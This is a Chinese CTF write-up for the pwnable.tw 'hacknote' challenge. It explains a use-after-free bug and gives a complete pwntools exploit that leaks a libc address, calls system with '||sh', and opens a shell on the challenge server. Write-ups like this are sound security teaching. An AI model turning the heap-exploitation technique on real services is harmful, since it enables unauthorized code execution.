pwnable.tw_hacknote_uaf利用

一道大家都说入uaf比较好的例题,将自己学习的uaf的历程记录一下,来自某大佬一句励志的话
在这里插入图片描述解题思路

1. 查看文件信息,安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP

1.基本信息

安全机制
在这里插入图片描述
运行
pwnable.tw_hacknote_uaf利用_第1张图片

IDA审计

1.add
pwnable.tw_hacknote_uaf利用_第2张图片
2.del
pwnable.tw_hacknote_uaf利用_第3张图片3.print
pwnable.tw_hacknote_uaf利用_第4张图片

3. 分析漏洞点

1.在free的时候,没有将指针置为NULL,这就会造成,第二次使用的时候,利用这个指针达到一下目的
pwnable.tw_hacknote_uaf利用_第5张图片
2.将获取的地址,放入chunk头的部分,只要调用print,就可以达到执行我们构造的函数
pwnable.tw_hacknote_uaf利用_第6张图片
3.在编写exp的时候,我第一次尝试的用read函数,可是一直都是错误(没解决),但是利用其它的函数都是可以的,这里我选择了atoi这个最常见的函数
4.调试技巧:在本地调试的时候
ELF文件调用的本地libc所以:选择的本地的libc文件:
远程调用的是他的服务器:选择我们给的libc文件,或者利用泄露的函数去远程调试链接

5.技巧:flag一般会存在在根目录,或者home目录文件下

编写EXP

#!/usr/bin/env python
#coding=utf8
from pwn import*
#context.log_level="debug"  #个人建议,要使用print函数的时候  关闭,比较好看输出地址
#context(arch='x86_64',os='linux')   
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']  #

local = 1

if local:
	p = process("./hacknote")
	elf = ELF("./hacknote")
	libc = ELF("./libc.so.6")
else:
	p=remote("chall.pwnable.tw",10102)
	elf = ELF("./hacknote")
	libc = ELF("./libc_32.so.6")

def new(size,content):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Note size :")
	p.sendline(str(size))
	p.recvuntil("Content :")
	p.sendline(content)

def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))	

def printf(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))

atoi_got = elf.got["atoi"]
atoi_symbols = libc.symbols["atoi"]
system_symbols = libc.symbols["system"] 
offset = 8
#------------------------------------------
new(20,"A"*offset)  #chunk0
new(20,"B"*offset)  #chunk1
#gdb.attach(p)
delete(0)
delete(1)
#gdb.attach(p)
#--------------------------泄露libc_base
new(8,p32(0x804862b)+p32(atoi_got))
printf(0)
link_atoi_addr = u32(p.recv(4))
system_addr = link_atoi_addr - atoi_symbols + system_symbols
print ("[---->sytem_addr ]= ") + hex(system_addr)
#--------------------------------------
delete(2)
payload=p32(system_addr)+'||sh'
new(8,payload)
#gdb.attach(p)
printf(0)
p.interactive()

你可能感兴趣的:(uaf,堆入门)